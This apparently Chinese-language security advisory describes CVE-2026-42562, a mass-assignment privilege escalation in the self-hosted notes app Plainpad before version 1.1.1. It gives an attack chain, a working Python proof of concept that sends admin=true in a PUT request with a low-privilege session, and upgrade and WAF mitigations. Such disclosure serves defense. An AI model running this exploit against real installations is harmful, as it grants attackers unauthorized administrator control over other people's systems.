IPBUF安全漏洞报告
English
CVE-2026-42562 CVSS 8.3 高危

CVE-2026-42562 Plainpad权限提升漏洞

披露日期: 2026-05-09

漏洞信息

漏洞编号
CVE-2026-42562
漏洞类型
权限提升
CVSS评分
8.3 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Plainpad

相关标签

权限提升CVE-2026-42562PlainpadMass AssignmentWeb安全

漏洞概述

Plainpad是一款自托管的笔记应用程序。在1.1.1版本之前,该应用存在一个严重的权限提升漏洞。由于后端接口缺乏对敏感参数的过滤,低权限的已认证用户可以通过向`PUT /api.php/v1/users/{id}`端点发送包含`admin=true`的特制请求,直接将自己提升为管理员。该接口直接将用户输入的admin属性持久化到数据库,未验证发起请求的用户是否具备修改权限的资格。利用此漏洞后,攻击者可立即访问仅限管理员的路由,获取系统完全控制权。目前官方已在1.1.1版本中修复了此问题。

技术细节

该漏洞源于服务器端对用户输入数据的处理不当,属于典型的Mass Assignment(批量赋值)漏洞。在Plainpad受影响的版本中,`PUT /api.php/v1/users/{id}`接口用于更新用户信息,但其后端逻辑未对请求参数进行严格的白名单过滤。当低权限的已认证用户向该端点发送请求时,程序会将客户端提交的所有参数直接映射到用户模型对象,并直接保存到数据库中,而未验证发起请求的用户是否具备修改特定字段的权限。攻击者利用这一缺陷,只需在发送PUT请求时,在请求体中添加或修改`admin`参数为`true`。由于缺乏服务端的权限校验机制,服务器会无条件接受该输入并将该用户的角色更新为管理员。一旦数据库更新完成,攻击者当前的会话或后续请求将立即拥有管理员级别的访问令牌,从而能够访问仅限管理员的路由和功能,如查看所有笔记、管理其他用户账户或修改系统配置。这导致系统的机密性和完整性受到严重破坏。

攻击链分析

STEP 1
步骤1:获取低权限凭证
攻击者注册普通账户或通过其他方式获取一个低权限用户的会话凭证(Session ID或Token)。
STEP 2
步骤2:构造恶意请求
攻击者使用获取的凭证,构造一个PUT请求发送至`/api.php/v1/users/{id}`接口,并在请求体中注入`admin=true`参数。
STEP 3
步骤3:权限提升
服务器端接收请求后,由于缺乏校验,直接将`admin`字段写入数据库,将该用户权限提升为管理员。
STEP 4
步骤4:访问受控资源
攻击者利用管理员权限访问后台敏感数据、管理其他用户或执行破坏性操作。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target configuration target_url = "http://example.com/api.php/v1/users/{user_id}" attacker_session_cookie = "PHPSESSID=valid_low_priv_session" user_id_to_escalate = "2" # The ID of the user to escalate (often the attacker's own ID) # Headers including the session cookie headers = { "Cookie": attacker_session_cookie, "Content-Type": "application/json" } # Payload containing the privilege escalation parameter # The key is 'admin' set to true payload = { "admin": True, "nickname": "EscalatedAdmin" } try: # Send the PUT request to update user profile response = requests.put( target_url.format(user_id=user_id_to_escalate), json=payload, headers=headers ) if response.status_code == 200: print("[+] Privilege escalation successful!") print("[+] Response:", response.text) else: print("[-] Failed to escalate privileges.") print("[-] Status Code:", response.status_code) print("[-] Response:", response.text) except Exception as e: print(f"[-] An error occurred: {e}")

影响范围

Plainpad < 1.1.1

防御指南

临时缓解措施
建议立即升级至1.1.1版本。如果无法立即升级,应在WAF或反向代理层拦截包含`admin`参数的PUT请求,或临时禁用受影响的功能接口,直到完成修复。

参考链接